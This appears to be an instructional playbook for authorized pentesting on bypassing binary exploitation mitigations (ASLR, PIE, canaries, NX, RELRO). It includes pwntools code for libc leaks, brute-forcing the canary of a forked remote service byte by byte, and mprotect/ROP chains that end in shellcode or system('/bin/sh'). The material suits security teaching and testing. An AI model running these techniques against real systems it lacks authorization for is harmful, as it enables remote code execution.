Bypassing Binary Exploitation Mitigations

Bypassing Binary Exploitation Mitigations

When to Use

• At the start of any authorized binary exploitation engagement, to profile which protections (ASLR, PIE, canary, NX/DEP, RELRO) are active and plan the exploit path accordingly.
• When a working memory-corruption primitive is blocked by a mitigation: a canary aborts the process, NX prevents shellcode, PIE/ASLR randomizes gadget addresses, or Full RELRO makes the GOT read-only.
• When deciding what to leak (libc pointer, PIE base, canary) and how (format string, ret2plt, arbitrary read, brute force in a forked server).

Critical: Concepts/Steps Most Often Missed

• Each mitigation is bypassed independently — enumerate them all first. checksec output drives everything. A binary can be PIE + canary + Full RELRO + NX, and you must defeat each separately (leak base, leak/forge canary, avoid GOT writes, use ROP).
• Canary low byte is a NUL. On x64 the 8-byte canary's least significant byte is 0x00; on x86 the 4-byte canary's LSB is 0x00. String functions stop on it, so a printed canary leak shows only 7 (or 3) random bytes — account for the NUL when re-inserting it.
• Forked servers share the canary and PIE slide. fork() without execve() means children inherit the parent's canary, so you can brute-force the canary (and PIE/stack addresses) one byte at a time using a crash-vs-success oracle. execve() after fork() defeats this.
• Full RELRO does not protect everything. The main binary's GOT is read-only, but loaded shared libraries (libc) are only Partial RELRO. Modern targets removed __malloc_hook/__free_hook (glibc 2.34+), so pivot to other writable pointers, libc GOT, vtables, or SROP/ROP-into-libc.
• PIE base ends in 000. A leaked code pointer's low 12 bits are the page offset; the base is leak & ~0xfff. If your computed base does not end in 000, your leak or offset is wrong.
• vsyscall/vDSO and fixed kernel maps escape ASLR. 0xffffffffff600000 vsyscall has fixed addresses; on some arm64 Android kernels the linear map base is fixed, defeating KASLR with no leak.

How to CONFIRM

Run checksec --file ./vuln (and readelf -l/-d) and record each protection. Confirm a leak is valid before building on it: a leaked PIE/libc base must be page-aligned (& 0xfff == 0); a leaked canary's LSB must be 0x00. Confirm a canary bypass by sending the leaked canary back in the overflow and observing the process return normally (no *** stack smashing detected ***). Confirm NX status with readelf -W -l ./vuln | grep GNU_STACK (an E flag = exec stack).

Workflow

Step 1: Enumerate Protections

pwn checksec --file ./vuln
# RELRO, Stack Canary, NX, PIE — note each one

readelf -W -l ./vuln | grep GNU_STACK     # NX: RW (no E) = non-exec stack
readelf -d ./vuln | grep BIND_NOW          # present => Full RELRO
cat /proc/sys/kernel/randomize_va_space    # 0=off, 1=conservative, 2=full ASLR

Step 2: Defeat ASLR / PIE (Leak an Address)

from pwn import *
elf = context.binary = ELF('./vuln')

# Option A: format-string arbitrary read of a GOT entry to leak libc
payload  = p64(elf.got['puts']) + b'%7$s'      # adjust offset
# Option B: ret2plt — call puts(puts@got) to leak puts's runtime address
rop = ROP(elf)
rop.puts(elf.got['puts']); rop.call(elf.symbols['main'])  # leak then re-loop

# After leak:
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc = elf.libc; libc.address = leak - libc.symbols['puts']
assert libc.address & 0xfff == 0, "bad leak / wrong offset"
# For PIE: elf.address = code_leak - known_offset

For 32-bit local targets with low entropy, brute force is viable: loop libc base across 0xb7000000..0xb8000000 step 0x1000, or use a NOP sled in env vars. Remote: brute-force usleep(10) address by watching for a 10s delay.

Step 3: Defeat the Stack Canary

# Forked-server byte-by-byte brute force (children share the canary)
canary = b'\x00'                                  # known NUL LSB
for pos in range(7):                              # remaining 7 bytes on x64
    for guess in range(256):
        io = remote(HOST, PORT)
        io.send(b'A'*buf_len + canary + bytes([guess]))
        if b'smashing' not in io.recvall(timeout=1):  # survived => correct
            canary += bytes([guess]); io.close(); break
        io.close()
# Or: leak the canary via format string / arbitrary read, then replay it.
payload = b'A'*offset + canary + b'B'*8 + rop_chain

Alternative bypasses: overwrite stack-stored pointers before the canary (pointer redirecting); in threaded apps overwrite the master canary in TLS; with Partial RELRO + arbitrary write, neuter __stack_chk_fail's GOT entry.

Step 4: Defeat NX and RELRO (Pick the Code-Reuse Primitive)

# NX on: no shellcode -> code reuse. Make a page RWX with mprotect then jump in.
rop = ROP(elf)
rop.mprotect(elf.bss() & ~0xfff, 0x1000, 7)        # PROT_RWX
payload = flat({offset: rop.chain(), offset+len(rop.chain()): asm(shellcraft.sh())})

• Partial RELRO: overwrite a .got.plt entry or use ret2dlresolve; overwrite .fini_array/atexit pointers.
• Full RELRO: GOT is read-only — target libc's (Partial-RELRO) GOT, C++ vtables, or do pure ROP/SROP into libc.
• SROP (scarce gadgets): forge a sigframe, call sys_rt_sigreturn to load all registers, e.g. mprotect then run stack shellcode.
• CET/IBT hardened: switch from ROP to JOP/COP (gadgets ending in jmp/call [reg]).

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: PIE + NX + Partial RELRO

Leak a code pointer via format string, rebase the binary, then ROP using the binary's own gadgets; overwrite a .got.plt entry or ret2dlresolve to reach system.

Scenario 2: Canary + forked network service

Service forks per connection. Brute-force the 8-byte canary byte-by-byte (≤256 tries/byte) using crash vs. clean response, then overflow past the replayed canary into a ROP chain.

Scenario 3: Full RELRO + NX + ASLR

GOT is read-only and stack is non-exec. Leak libc via ret2plt puts, then ROP-into-libc system("/bin/sh") or a one_gadget — no GOT write needed.

Scenario 4: Low-entropy 32-bit + ASLR

Brute-force libc base locally, or stuff a large NOP sled into environment variables and jump to a guessed stack address repeatedly until execution lands in the sled.

Output Format

## Mitigation Assessment & Bypass Finding

**Target**: ./vuln (amd64)
**Protections**: PIE: yes | Canary: yes | NX: enabled | RELRO: Full | ASLR: 2 (full)

### Bypass Chain
1. ASLR/PIE: leaked libc via ret2plt puts@got -> base 0x7f...000 (page-aligned, confirmed)
2. Canary: leaked via format string %15$p -> 0x..00 (NUL LSB confirmed), replayed in overflow
3. NX/Full RELRO: pure ROP-into-libc system("/bin/sh") (no GOT write required)

### Proof
Process returned cleanly past canary; system("/bin/sh") yielded an interactive shell.

### Impact
All deployed mitigations bypassed -> reliable remote code execution.

### Recommendation
1. Keep Full RELRO, PIE, canaries, and NX enabled (they raise cost but are not individually sufficient).
2. Re-randomize the canary on fork (avoid fork-without-execve patterns in network daemons).
3. Adopt CET/shadow-stack (x86) or PAC/BTI (ARM) to break ROP/JOP.
4. Eliminate the root memory-corruption bug and the info-leak primitives that enable base/canary recovery.